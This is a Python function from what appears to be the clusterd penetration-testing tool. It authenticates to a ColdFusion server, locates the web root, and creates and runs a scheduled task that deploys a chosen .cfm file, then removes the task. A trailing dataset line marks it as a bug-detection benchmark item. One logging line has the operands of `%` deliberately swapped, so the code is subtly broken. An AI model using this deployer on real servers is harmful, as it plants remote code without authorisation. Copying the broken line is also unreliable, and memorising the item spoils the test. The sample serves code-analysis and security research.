def deploy(fingerengine, fingerprint):
	""" Scheduled Task deployer for older versions; radically different
	than newer systems, so it warrants its own deployer.
	"""

	cfm_path = abspath(fingerengine.options.deploy)
	cfm_file = parse_war_path(cfm_path, True)
	dip = fingerengine.options.ip

	cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version)[0]
	if not cookie:
		utility.Msg("Could not get auth", LOG.ERROR)
		return

	utility.Msg("Preparing to deploy {0}...".format(cfm_file))
	utility.Msg("Fetching web root...", LOG.DEBUG)

	root = fetch_webroot(dip, fingerprint, cookie)
	if not root:
		utility.Msg("Unable to fetch web root.", LOG.ERROR)
		return
	
	# create the scheduled task
	utility.Msg(root % "Web root found at %s", LOG.DEBUG)
	utility.Msg("Creating scheduled task...")

	if not create_task(dip, fingerprint, cfm_file, root, cookie):
		return

	# invoke the task
	utility.Msg("Task %s created, invoking..." % cfm_file)
	run_task(dip, fingerprint, cfm_path, cookie)

	# cleanup
	utility.Msg("Cleaning up...")
	if not delete_task(dip, fingerprint, cfm_file, cookie):
		utility.Msg("Failed to remove task.  May require manual removal.", LOG.ERROR)
dataset/ETHPy150Open hatRiot/clusterd/src/platform/coldfusion/deployers/schedule_job_old.py/deploy/swapped operands of `%`